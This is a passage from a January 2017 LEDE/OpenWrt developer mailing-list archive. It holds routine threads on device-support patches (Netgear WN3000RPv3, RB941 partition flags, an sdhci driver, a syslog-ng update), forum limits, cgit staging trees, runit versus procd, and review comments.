    tmpfs                   250.1M     48.0K    250.0M   0% /tmp
    tmpfs                   512.0K         0    512.0K   0% /dev

    root at OpenWrt:/lib/modules/3.10.20# mount
    rootfs on / type rootfs (rw)
    proc on /proc type proc (rw,noatime)
    sysfs on /sys type sysfs (rw,noatime)
    tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
    tmpfs on /dev type tmpfs (rw,relatime,size=512k,mode=755)
    devpts on /dev/pts type devpts (rw,relatime,mode=600)
    debugfs on /sys/kernel/debug type debugfs (rw,noatime)


    root at OpenWrt:/lib/modules/3.10.20# free
                 total         used         free       shared      buffers
    Mem:        512180        67192       444988            0            0
    -/+ buffers:              67192       444988
    Swap:            0            0            0


    root at OpenWrt:/lib/modules/3.10.20# cat /proc/mtd
    dev:    size   erasesize  name
    mtd0: 00200000 00010000 "al_boot"
    mtd1: 00100000 00010000 "device_tree"
    mtd2: 00800000 00010000 "Kernel"
    mtd3: 01000000 00010000 "rootfs"
    mtd4: 00bb0000 00010000 "rootfs_data"
    mtd5: 00500000 00010000 "storage"


    Can someone guide me.

    Thanks
    Mani


From f.fainelli at gmail.com  Tue Jan 17 11:10:15 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Tue, 17 Jan 2017 11:10:15 -0800
Subject: [LEDE-DEV] Making staging tree appear on cgit?
Message-ID: <2acf51f7-8c14-f3d9-175f-68fa9b249d99@gmail.com>

Hi,

Are there specific instructions not currently documented at:
https://lede-project.org/docs/guide-developer/the-source-code

that are needed in order to make one's staging tree appear on cgit?

Thanks!
-- 
Florian


From lede at kitschensync.net  Tue Jan 17 11:11:06 2017
From: lede at kitschensync.net (Ted Hess)
Date: Tue, 17 Jan 2017 14:11:06 -0500
Subject: [LEDE-DEV] forum limitations
In-Reply-To: <nycvar.QRO.7.75.62.1701170928020.3758@qynat-yncgbc>
References: <nycvar.QRO.7.75.62.1701170928020.3758@qynat-yncgbc>
Message-ID: <1484680266.14420.4.camel@kitschensync.net>

On Tue, 2017-01-17 at 09:32 -0800, David Lang wrote:
> currently new users (for some definition of 'new', I have 63 posts starting?
> within a day or two of when the forum was created) are limited to 3 replies in
> a?
> topic.
> 
> This limit is really easy to hit in a technical discussion and is going to
> drive?
> people to create extra topics to work around the limitation.
> 
> 
> example error message via e-mail:
> 
> We're sorry, but your email message to?
> ["forum+reply-83162f79a9a8b8efaf1a2e8dae5337de at lede-project.org"] (titled Re:?
> [LEDE Project
> Forum] [Installing and Using LEDE] Wlan 2.4/5Ghz to slow fpr 1080p/60fps?)?
> didn't work.
> 
> Reason:
> 
> We're sorry, but new users are temporarily limited to 3 replies in the same?
> topic.
> 
> If you can correct the problem, please try again.
> 
> 
> 
> David Lang
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev

Yes, we could increase that limit - However, do you need to add more than 3
replies in a row to a single topic before some else replies to it. You could
more easily just edit/append to one of your existing replies.

See discussion at:?

https://meta.discourse.org/t/why-is-there-a-topic-reply-limit-for-new-users/1151
3

/ted


From nbd at nbd.name  Tue Jan 17 11:15:06 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 17 Jan 2017 20:15:06 +0100
Subject: [LEDE-DEV] Files across reboot are not persisiting
In-Reply-To: <CACBNxUG7Zi7zqyUzd32S47trcbM-ODRX+H42q8+vqPA9s5nEJQ@mail.gmail.com>
References: <CACBNxUG7Zi7zqyUzd32S47trcbM-ODRX+H42q8+vqPA9s5nEJQ@mail.gmail.com>
Message-ID: <1cae86ac-190b-34db-9081-62514c06b7d6@nbd.name>

On 2017-01-17 19:41, K.Mani wrote:
>     When we create a file on the booted board and reboot the file
> doesn't persist.
>     Environment:
>     OpenWRT branch "Barrier Breaker" on Annapurna board, with
> ALpine-v1(soc) is having NOR flash(MX25U25635F) 32MB
The version you're asking about is not only old and obsolete, but it is
also apparently modified to support a SoC that stock OpenWrt does not
have any support for. We cannot help you with that.

- Felix


From vda.linux at googlemail.com  Tue Jan 17 11:18:10 2017
From: vda.linux at googlemail.com (Denys Vlasenko)
Date: Tue, 17 Jan 2017 20:18:10 +0100
Subject: [OpenWrt-Devel] Any interest in adding runit to OpenWRT?
In-Reply-To: <CABL_Pd-RR=wfHrSgTm=7YJhF_7YWeo3AovOBysMN5Mp56Bj1PQ@mail.gmail.com>
References: <CAK1hOcP1T8t0w0hEpFm5y=NkmJVwm34vfxerO4c+RQOgJm-82A@mail.gmail.com>
 <f16533aa-0515-b690-627d-fc76765bb7db@nbd.name>
 <CAK1hOcNt=tyvxYGaqeJZoEDzv7tmdqtVdg8c=1-5kALuxUW=Ag@mail.gmail.com>
 <CABL_Pd_8FyJ52SwpgK+AF_h+iUSUUhqaoCt60MTXToLP1yoH8w@mail.gmail.com>
 <f922bf9e-7bfa-7499-e185-b085f488db80@landley.net>
 <CABL_Pd-RR=wfHrSgTm=7YJhF_7YWeo3AovOBysMN5Mp56Bj1PQ@mail.gmail.com>
Message-ID: <CAK1hOcPQm6gYS7C9oQmb61vRZam-_PU-5AwPrqM1Jk6KRNgz0w@mail.gmail.com>

On Tue, Dec 27, 2016 at 1:07 AM, Martin Tippmann
<martin.tippmann at gmail.com> wrote:
> On Mon, Dec 26, 2016 at 5:32 PM, Rob Landley <rob at landley.net> wrote:
>> On 12/26/2016 08:05 AM, Martin Tippmann wrote:
>>> On Sun, Dec 25, 2016 at 9:01 PM, Denys Vlasenko
>>> So TL;DR: procd is fine for init but having runit/runsvdir easily
>>> usable would be a nice feature to have!
>
> Some practical example where runit might be useful (if you know how to
> do this with procd, please tell me :)

These are my examples

https://git.busybox.net/busybox/tree/examples/var_service

The README there explains how these are used to configure network.

Now that you mentioned netifd, I googled it up and it seems
my runit scripts managed to do something rather similar.

> - we have on our mesh network a VPN client (vtun) that starts when wan
> is up (via hotplug) but connectivity to the mesh network depends on
> olsr working.
> - at the moment there is some cumbersome cron logic shellscript hell
> that tries to check that a) vtun is working, b) olsr is working

Like
https://git.busybox.net/busybox/tree/examples/var_service/dhcp_if_pinger/run

> - writing a runit sv check script for vtun that checks for the correct
> olsr neighbours and that restarts vtun if no neighbours are found is
> pretty simple with runit. symlink the check for runwhen in the
> /etc/hotplug.d/vtun-wan script and then unlink on ifdown event. runit
> picks up the symlink and does the right thing. So there is the vtun
> connection and the 'sv ./etc/services/vtun check' script that checks
> olsr neighbors
> - This gives you seperation of concerns, it's unixy, it's only shell
> and it's something you can reason about.
>
> So what I'd like to have is something like adding events to runit - if
> netifd realizes there is a link loss on the wan interface I want to
> trigger somewhere sv stop /etc/services/vtun

I do not know how WAN if different from LANs, my needs to detect
ethernet and wifi disconnects are satisfied with this service:

https://git.busybox.net/busybox/tree/examples/var_service/ifplugd_if/run
https://git.busybox.net/busybox/tree/examples/var_service/ifplugd_if/ifplugd_handler

In short, a set of dhcp + wpa_supplicant + ifplugd + vpnc + pppd +
openvpn + ntpd
services under runsv can be made to play very well. I tried it.
Not too difficult.

All is restarted as needed on unplug / replug / loss of wifi / pppd establishing
link, routing and firewalling is reconfigured.

Like NetworkManager, but, you know, without NetworkManager :D

> But marrying runit+ubus+netifd+procd would _really_ solve some real
> world usecases we have in a unixy, reasonable way. I'm open for debate
> and discussion but this would provide a lot of flexibility for a
> rather low cost/overhead - be it memory/flash.

Just for the record, I'm not a runsv zealot.
If procd is good at it too, and if there would be enough
development push behind it so that its use expands from
its current niche to be usable everywhere on Linux, from wristwatches
to routers to desktops to supercomputers, then I'll have no objections.

> Unfortunatly this mail is all talk and no walk and figuring out a sane
> procd/netifd <-> runit interface is some rather hard problem if you
> want a good solution.

So far I don't see a problem needing such interface.

runsvdir/runsv is "just" a service babysitter. Its services
can interface with whatever other programs they need in whatever ways
they find necessary. runsv's will just keep services running
(or stopped, or one-shot, as ordered), they don't do anything else.

The situation looks like people who use procd so far don't see
any pressing need to run yet another service babysitting thing
on their boxes.

I have experience running boxes with runsv,
have no experience with procd, so can't really do a technical
comparison.


From lede at kitschensync.net  Tue Jan 17 11:25:52 2017
From: lede at kitschensync.net (Ted Hess)
Date: Tue, 17 Jan 2017 14:25:52 -0500
Subject: [LEDE-DEV] Making staging tree appear on cgit?
In-Reply-To: <2acf51f7-8c14-f3d9-175f-68fa9b249d99@gmail.com>
References: <2acf51f7-8c14-f3d9-175f-68fa9b249d99@gmail.com>
Message-ID: <1484681152.14420.9.camel@kitschensync.net>

On Tue, 2017-01-17 at 11:10 -0800, Florian Fainelli wrote:
> Hi,
> 
> Are there specific instructions not currently documented at:
> https://lede-project.org/docs/guide-developer/the-source-code
> 
> that are needed in order to make one's staging tree appear on cgit?
> 
> Thanks!

There should be nothing special beyond what was already outlined in my easy-use
guide for private repos. There is a problem that just recently appeared where
private repos as disappearing from gitweb due to what I think is recent script
hook changes.

I can manually make your repo re-appear but it will disappear again on your next
push to it. Stay tuned...

/ted



From hacks at slashdirt.org  Tue Jan 17 14:12:01 2017
From: hacks at slashdirt.org (hacks at slashdirt.org)
Date: Tue, 17 Jan 2017 23:12:01 +0100
Subject: [LEDE-DEV] [PATCH] This patch adds support for the Netgear
 WN3000RPv3 N300 repeater.
Message-ID: <1484691121-13030-1-git-send-email-hacks@slashdirt.org>

From: Thibaut VARENE <hacks at slashdirt.org>

It uses the same trick as for the EX2700 to pass the Second Part
Magic Check from the bootloader (as described here
https://forum.openwrt.org/viewtopic.php?pid=312577#p312577 )

Specifications:
- SoC: MediaTek MT7620A (580MHz, ramips)
- RAM: 32MB
- Storage: 8MB NOR SPI flash
- Wireless: builtin MT7620A
- Ethernet: 1x100M

Stock firmware is based on OpenWRT Kamikaze snapshot. To install
LEDE, use the factory.bin image. Once LEDE is installed, subsequent
updates can use the sysupgrade.bin image.

Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
---
 target/linux/ramips/base-files/etc/board.d/01_leds |   3 +-
 .../linux/ramips/base-files/etc/board.d/02_network |   1 +
 target/linux/ramips/base-files/etc/diag.sh         |   3 +-
 target/linux/ramips/base-files/lib/ramips.sh       |   3 +
 .../ramips/base-files/lib/upgrade/platform.sh      |   1 +
 target/linux/ramips/dts/WN3000RPV3.dts             | 148 +++++++++++++++++++++
 target/linux/ramips/image/mt7620.mk                |  11 ++
 7 files changed, 168 insertions(+), 2 deletions(-)
 create mode 100644 target/linux/ramips/dts/WN3000RPV3.dts

diff --git a/target/linux/ramips/base-files/etc/board.d/01_leds b/target/linux/ramips/base-files/etc/board.d/01_leds
index 3d3aa0a..545d6a4 100755
--- a/target/linux/ramips/base-files/etc/board.d/01_leds
+++ b/target/linux/ramips/base-files/etc/board.d/01_leds
@@ -155,7 +155,8 @@ vr500)
 dir-860l-b1)
 	ucidef_set_led_netdev "wan" "wan" "$board:green:net" "eth0.2"
 	;;
-ex2700)
+ex2700|\
+wn3000rpv3)
 	ucidef_set_led_default "power_r" "POWER (red)" "$board:red:power" "0"
 	set_wifi_led "$board:green:router"
 	;;
diff --git a/target/linux/ramips/base-files/etc/board.d/02_network b/target/linux/ramips/base-files/etc/board.d/02_network
index baf619f..4c94fba 100755
--- a/target/linux/ramips/base-files/etc/board.d/02_network
+++ b/target/linux/ramips/base-files/etc/board.d/02_network
@@ -58,6 +58,7 @@ ramips_setup_interfaces()
 	timecloud|\
 	w150m|\
 	widora-neo|\
+	wn3000rpv3|\
 	wnce2001|\
 	zbt-cpe102|\
 	zte-q7)
diff --git a/target/linux/ramips/base-files/etc/diag.sh b/target/linux/ramips/base-files/etc/diag.sh
index 5367e65..9499833 100644
--- a/target/linux/ramips/base-files/etc/diag.sh
+++ b/target/linux/ramips/base-files/etc/diag.sh
@@ -53,7 +53,8 @@ get_status_led() {
 	jhr-n825r|\
 	mpr-a1|\
 	mpr-a2|\
-	mzk-ex750np)
+	mzk-ex750np|\
+	wn3000rpv3)
 		status_led="$board:red:power"
 		;;
 	ac1200pro|\
diff --git a/target/linux/ramips/base-files/lib/ramips.sh b/target/linux/ramips/base-files/lib/ramips.sh
index 6afe709..8292da1 100755
--- a/target/linux/ramips/base-files/lib/ramips.sh
+++ b/target/linux/ramips/base-files/lib/ramips.sh
@@ -553,6 +553,9 @@ ramips_board_detect() {
 	*"WMR-300")
 		name="wmr-300"
 		;;
+	*"WN3000RPv3")
+		name="wn3000rpv3"
+		;;
 	*"WNCE2001")
 		name="wnce2001"
 		;;
diff --git a/target/linux/ramips/base-files/lib/upgrade/platform.sh b/target/linux/ramips/base-files/lib/upgrade/platform.sh
index 0f2510c..c6ad8ca 100755
--- a/target/linux/ramips/base-files/lib/upgrade/platform.sh
+++ b/target/linux/ramips/base-files/lib/upgrade/platform.sh
@@ -157,6 +157,7 @@ platform_check_image() {
 	wli-tx4-ag300n|\
 	wlr-6000|\
 	wmr-300|\
+	wn3000rpv3|\
 	wnce2001|\
 	wndr3700v5|\
 	wr512-3gn|\
diff --git a/target/linux/ramips/dts/WN3000RPV3.dts b/target/linux/ramips/dts/WN3000RPV3.dts
new file mode 100644
index 0000000..8dc4249
--- /dev/null
+++ b/target/linux/ramips/dts/WN3000RPV3.dts
@@ -0,0 +1,148 @@
+/dts-v1/;
+
+#include "mt7620a.dtsi"
+
+#include <dt-bindings/input/input.h>
+
+/ {
+	compatible = "ralink,mt7620a-soc";
+	model = "Netgear WN3000RPv3";
+
+	chosen {
+		bootargs = "console=ttyS0,57600";
+	};
+
+	gpio-leds {
+		compatible = "gpio-leds";
+
+		power_g {
+			label = "wn3000rpv3:green:power";
+			gpios = <&gpio0 9 1>;
+			default-state = "on";
+		};
+
+		power_r {
+			label = "wn3000rpv3:red:power";
+			gpios = <&gpio0 11 1>;
+		};
+
+		client_g {
+			label = "wn3000rpv3:green:client";
+			gpios = <&gpio0 13 1>;
+		};
+
+		client_r {
+			label = "wn3000rpv3:red:client";
+			gpios = <&gpio0 10 1>;
+		};
+
+		router_g {
+			label = "wn3000rpv3:green:router";
+			gpios = <&gpio0 12 1>;
+		};
+
+		router_r {
+			label = "wn3000rpv3:red:router";
+			gpios = <&gpio0 14 1>;
+		};
+
+		wps {
+			label = "wn3000rpv3:green:wps";
+			gpios = <&gpio1 15 1>;
+		};
+
+		l_arrow {
+			label = "wn3000rpv3:blue:l_arrow";
+			gpios = <&gpio0 7 1>;
+		};
+
+		r_arrow {
+			label = "wn3000rpv3:blue:r_arrow";
+			gpios = <&gpio0 8 1>;
+		};
+	};
+
+	gpio-keys-polled {
+		compatible = "gpio-keys-polled";
+		#address-cells = <1>;
+		#size-cells = <0>;
+		poll-interval = <20>;
+
+		reset {
+			label = "reset";
+			gpios = <&gpio0 1 1>;
+			linux,code = <KEY_RESTART>;
+		};
+
+		wps {
+			label = "wps";
+			gpios = <&gpio0 2 1>;
+			linux,code = <KEY_WPS_BUTTON>;
+		};
+	};
+};
+
+&gpio0 {
+	status = "okay";
+};
+
+&gpio1 {
+	status = "okay";
+};
+
+&spi0 {
+	status = "okay";
+
+	m25p80 at 0 {
+		#address-cells = <1>;
+		#size-cells = <1>;
+		compatible = "jedec,spi-nor";
+		reg = <0>;
+		linux,modalias = "m25p80", "mx25l6405d";
+		spi-max-frequency = <10000000>;
+
+		partition at 0 {
+			label = "u-boot";
+			reg = <0x0 0x30000>;
+			read-only;
+		};
+
+		partition at 30000 {
+			label = "u-boot-env";
+			reg = <0x30000 0x10000>;
+			read-only;
+		};
+
+		partition at 40000 {
+			label = "firmware";
+			reg = <0x40000 0x7b0000>;
+		};
+
+		art: partition at 7f0000 {
+			label = "art";
+			reg = <0x7f0000 0x10000>;
+			read-only;
+		};
+	};
+};
+
+&ethernet {
+	mtd-mac-address = <&art 0x0>;
+};
+
+&wmac {
+	mtd-mac-address = <&art 0x6>;
+	ralink,mtd-eeprom = <&art 0x1000>;
+};
+
+&pinctrl {
+	state_default: pinctrl0 {
+		default {
+			//  spi refclk: pins 37, 38, 39
+			//       uartf: pins 8, 9, 10, 11, 12, 13, 14
+			//         i2c: pins 1, 2
+			ralink,group = "i2c", "uartf", "spi refclk";
+			ralink,function = "gpio";
+		};
+	};
+};
diff --git a/target/linux/ramips/image/mt7620.mk b/target/linux/ramips/image/mt7620.mk
index 1889bcf..42e0ab6 100644
--- a/target/linux/ramips/image/mt7620.mk
+++ b/target/linux/ramips/image/mt7620.mk
@@ -75,6 +75,17 @@ define Device/ex2700
 endef
 TARGET_DEVICES += ex2700
 
+define Device/wn3000rpv3
+  DTS := WN3000RPV3
+  BLOCKSIZE := 4k
+  IMAGES += factory.bin
+  KERNEL := $(KERNEL_DTB) | uImage lzma | pad-kernel-ex2700
+  IMAGE/factory.bin := $$(sysupgrade_bin) | check-size $$$$(IMAGE_SIZE) | \
+	netgear-header -B WN3000RPv3 -H 29764836+8+0+32+2x2+0
+  DEVICE_TITLE := Netgear WN3000RPv3
+endef
+TARGET_DEVICES += wn3000rpv3
+
 define Device/wt3020-4M
   DTS := WT3020-4M
   BLOCKSIZE := 4k
-- 
2.1.4



From hacks at slashdirt.org  Tue Jan 17 16:24:00 2017
From: hacks at slashdirt.org (hacks at slashdirt.org)
Date: Wed, 18 Jan 2017 01:24:00 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx/ath79: mark soft_config as writeable in
 mach-rb941.c
Message-ID: <1484699040-13598-1-git-send-email-hacks@slashdirt.org>

From: Thibaut VARENE <hacks at slashdirt.org>

This is necessary for rbcfg to work.

Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
---
 target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
index 5a8c7c0..5da950b 100644
--- a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
+++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
@@ -99,7 +99,6 @@ static struct mtd_partition rb941_spi_partitions[] = {
             .name = "soft_config",
             .offset = RB_SOFT_CFG_OFFSET,
             .size = RB_SOFT_CFG_SIZE,
-            .mask_flags = MTD_WRITEABLE,
     }, {
             .name = "rootfs",
             .offset = RB_ROOTFS_OFFSET,
-- 
2.1.4



From f.fainelli at gmail.com  Tue Jan 17 16:30:04 2017
From: f.fainelli at gmail.com (Florian Fainelli)
Date: Tue, 17 Jan 2017 16:30:04 -0800
Subject: [LEDE-DEV] [PATCH v2] brcm63xx: fix internal net phy interrupt
 config
In-Reply-To: <CABwr4_umh9VoXnsGvfvoHDoi9BQ5h2yamAK7OZh+RbU0w1gaGA@mail.gmail.com>
References: <14983078.uj139Px10m@tool>
 <9a72b863-8957-2b1e-556c-66c8755e8527@gmail.com>
 <CABwr4_umh9VoXnsGvfvoHDoi9BQ5h2yamAK7OZh+RbU0w1gaGA@mail.gmail.com>
Message-ID: <08658214-0b23-f4b6-ca94-c64345a8030f@gmail.com>

On 12/18/2016 10:51 AM, Daniel wrote:
> Yes, better if I included that info. I was lazy to look for the
> specific commit which caused the breakage. If Jonas makes the
> upstream, it can be made there. Anyway I can resend again the patch if
> needed.

Took your patch and submitted it upstream with you as the author. Thanks!
-- 
Florian


From rosenp at gmail.com  Tue Jan 17 16:35:29 2017
From: rosenp at gmail.com (Rosen Penev)
Date: Tue, 17 Jan 2017 16:35:29 -0800
Subject: [LEDE-DEV] [PATCH] ramips: Add back sdhci-mt7620 driver to default
 config
Message-ID: <20170118003529.2984-1-rosenp@gmail.com>

The driver no longer causes kernel panics and CPU hangs.

Signed-off by: Rosen Penev <rosenp at gmail.com>
---
 target/linux/ramips/image/mt7621.mk | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/target/linux/ramips/image/mt7621.mk b/target/linux/ramips/image/mt7621.mk
index fd28e19..83c9d6d 100644
--- a/target/linux/ramips/image/mt7621.mk
+++ b/target/linux/ramips/image/mt7621.mk
@@ -91,7 +91,7 @@ define Device/pbr-m1
   DTS := PBR-M1
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := PBR-M1
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci kmod-sdhci-mt7620
 endef
 TARGET_DEVICES += pbr-m1
 
@@ -178,7 +178,7 @@ define Device/witi
   DTS := WITI
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := MQmaker WiTi
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci kmod-sdhci-mt7620
 endef
 TARGET_DEVICES += witi
 
@@ -209,7 +209,7 @@ define Device/zbt-wg2626
   DTS := ZBT-WG2626
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := ZBT WG2626
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci kmod-sdhci-mt7620
 endef
 TARGET_DEVICES += zbt-wg2626
 
@@ -217,7 +217,7 @@ define Device/zbt-wg3526
   DTS := ZBT-WG3526
   IMAGE_SIZE := $(ralink_default_fw_size_16M)
   DEVICE_TITLE := ZBT WG3526
-  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci
+  DEVICE_PACKAGES := kmod-usb3 kmod-usb-ledtrig-usbport kmod-ata-core kmod-ata-ahci kmod-sdhci-mt7620
 endef
 TARGET_DEVICES += zbt-wg3526
 
-- 
2.9.3



From zajec5 at gmail.com  Tue Jan 17 22:47:16 2017
From: zajec5 at gmail.com (=?UTF-8?B?UmFmYcWCIE1pxYJlY2tp?=)
Date: Wed, 18 Jan 2017 07:47:16 +0100
Subject: [LEDE-DEV] [PATCH] This patch adds support for the Netgear
 WN3000RPv3 N300 repeater.
In-Reply-To: <1484691121-13030-1-git-send-email-hacks@slashdirt.org>
References: <1484691121-13030-1-git-send-email-hacks@slashdirt.org>
Message-ID: <CACna6ry7vhCCUtY0jaOxWmWFcyqzbEPK2zm7HaMMdtAO7mR3iQ@mail.gmail.com>

On 17 January 2017 at 23:12,  <hacks at slashdirt.org> wrote:
> From: Thibaut VARENE <hacks at slashdirt.org>
>
> It uses the same trick as for the EX2700 to pass the Second Part
> Magic Check from the bootloader (as described here
> https://forum.openwrt.org/viewtopic.php?pid=312577#p312577 )
>
> Specifications:
> - SoC: MediaTek MT7620A (580MHz, ramips)
> - RAM: 32MB
> - Storage: 8MB NOR SPI flash
> - Wireless: builtin MT7620A
> - Ethernet: 1x100M
>
> Stock firmware is based on OpenWRT Kamikaze snapshot. To install
> LEDE, use the factory.bin image. Once LEDE is installed, subsequent
> updates can use the sysupgrade.bin image.
>
> Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>

Please use "git log target/linux/ramips" to get a hint how patch could
be titled. Something like:
ramips: support for the Netgear WN3000RPv3 N300 repeater
could be more appropriate.


> --- /dev/null
> +++ b/target/linux/ramips/dts/WN3000RPV3.dts
> @@ -0,0 +1,148 @@
> +/dts-v1/;
> +
> +#include "mt7620a.dtsi"
> +
> +#include <dt-bindings/input/input.h>

Please specify license of this file. If possible please choose
something BSD compatible as it may be required for upstreaming it. We
got such request from Florian for Broadcom DTS files:
https://lkml.org/lkml/2016/5/4/707

You may e.g. choose one of:
1) ISC License
2) BSD 3-clause license
3) BSD 2-clause license
4) Clear BSD license


> +&pinctrl {
> +       state_default: pinctrl0 {
> +               default {
> +                       //  spi refclk: pins 37, 38, 39
> +                       //       uartf: pins 8, 9, 10, 11, 12, 13, 14
> +                       //         i2c: pins 1, 2
> +                       ralink,group = "i2c", "uartf", "spi refclk";
> +                       ralink,function = "gpio";
> +               };
> +       };
> +};

Please use ANSI C comments.


From john at phrozen.org  Tue Jan 17 22:55:48 2017
From: john at phrozen.org (John Crispin)
Date: Wed, 18 Jan 2017 07:55:48 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx/ath79: mark soft_config as writeable
 in mach-rb941.c
In-Reply-To: <1484699040-13598-1-git-send-email-hacks@slashdirt.org>
References: <1484699040-13598-1-git-send-email-hacks@slashdirt.org>
Message-ID: <f31003a1-c9f9-e289-7900-0737700a413d@phrozen.org>

Hi

please fix the subject, git log --oneline target/linux/ar71xx will tell
you the correct format amd ...

On 18/01/2017 01:24, hacks at slashdirt.org wrote:
> From: Thibaut VARENE <hacks at slashdirt.org>
> 
> This is necessary for rbcfg to work.

this description is pointless ;) please add something better

	John

> 
> Signed-off-by: Thibaut VARENE <hacks at slashdirt.org>
> ---
>  target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c | 1 -
>  1 file changed, 1 deletion(-)
> 
> diff --git a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
> index 5a8c7c0..5da950b 100644
> --- a/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
> +++ b/target/linux/ar71xx/files/arch/mips/ath79/mach-rb941.c
> @@ -99,7 +99,6 @@ static struct mtd_partition rb941_spi_partitions[] = {
>              .name = "soft_config",
>              .offset = RB_SOFT_CFG_OFFSET,
>              .size = RB_SOFT_CFG_SIZE,
> -            .mask_flags = MTD_WRITEABLE,
>      }, {
>              .name = "rootfs",
>              .offset = RB_ROOTFS_OFFSET,
> 


From milankocvara at gmail.com  Tue Jan 17 23:35:26 2017
From: milankocvara at gmail.com (=?UTF-8?Q?Milan_Ko=c4=8dvara?=)
Date: Wed, 18 Jan 2017 08:35:26 +0100
Subject: [LEDE-DEV] Syslog-ng Makefile typo
In-Reply-To: <369CA702-52B0-4323-BB33-1298CF8A143C@redfish-solutions.com>
References: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
 <0366D25C-43EA-4A33-9DE8-3736FEA9E88D@redfish-solutions.com>
 <369CA702-52B0-4323-BB33-1298CF8A143C@redfish-solutions.com>
Message-ID: <6803b0ec-ef6b-2968-758d-50920dc7974e@gmail.com>

Hello,

Sorry for miss and late. Changes bellow. I do not found any other 
"depracated" function. One question about klogd and syslog-ng kernel 
messagess. On Linux, the klogd daemon can be used in addition to 
syslog-ng to read kernel messages and forward them to syslog-ng. klogd 
used to preprocess kernel messages to resolve symbols and so on, but as 
this is deprecated by ksymoops there is really no point in running both 
klogd and syslog-ng in parallel. Also note that running two processes 
reading /proc/kmsg at the same time might result in dead-locks. < Taken 
from manpage of syslog-ng. In LEDE/OpenWRT is klogd part of busybox in 
default.

Thanks


--- syslog-ng.conf-orig 2017-01-18 07:36:35.941285583 +0100
+++ syslog-ng.conf      2017-01-18 08:30:30.416247478 +0100
@@ -1,4 +1,4 @@
- at version:3.8
+ at version:3.9

  options {
         chain_hostnames(no);

Dne 17.1.2017 v 19:40 Philip Prindeville napsal(a):
> Actually, I take that back.
>
> Milan, can you please update the top line of files/syslog-ng.conf also?  It needs to read ?3.9? instead (assuming there aren?t any syntactic constructs in that file that are now deprecated from 3.8 to 3.9? if there were, the file would need to be updated as well? like when the log_prefix() filter criteria got replaced by program()).
>
> Thanks
>
>
>> On Jan 16, 2017, at 1:45 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
>>
>> Looks good to me.
>>
>>
>>> On Jan 16, 2017, at 4:24 AM, Milan Ko?vara <milankocvara at gmail.com> wrote:
>>>
>>> Hello.
>>> I found typo in syslog-ng makefile.
>>>
>>> I've upgraded to the newest version and I've made correction of the typo. Patch bellow.
>>>
>>> Sorry for bad format of everything. I did it never :)
>>>
>>> --- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
>>> +++ Makefile~   2017-01-16 12:22:47.198478933 +0100
>>> @@ -1,14 +1,14 @@
>>> include  $(TOPDIR)/rules.mk
>>>
>>> PKG_NAME:=syslog-ng
>>> -PKG_VERSION:=3.8.1
>>> -PKG_RELEASE:=3
>>> +PKG_VERSION:=3.9.1
>>> +PKG_RELEASE:=1
>>>
>>> PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>
>>>
>>> PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
>>> PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
>>> -PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
>>> +PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a
>>>
>>> PKG_INSTALL:=1
>>>
>>> @@ -41,7 +41,7 @@
>>> CONFIGURE_ARGS += \
>>>   $(call autoconf_bool,CONFIG_IPV6,ipv6) \
>>>          --disable-dependency-tracking \
>>> -         --disable-ampq \
>>> +         --disable-amqp \
>>>          --disable-tcp-wrapper \
>>>          --disable-glibtest \
>>>          --disable-mongodb \
>>
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev



From john at phrozen.org  Tue Jan 17 23:39:05 2017
From: john at phrozen.org (John Crispin)
Date: Wed, 18 Jan 2017 08:39:05 +0100
Subject: [LEDE-DEV] Syslog-ng Makefile typo
In-Reply-To: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
References: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
Message-ID: <a7177f95-9e0c-20af-e7b2-0b5f7cc40bcb@phrozen.org>

Hi,

although the content of the patch looks good the format is incorrect.
you really want to generate the patch using git and then use git
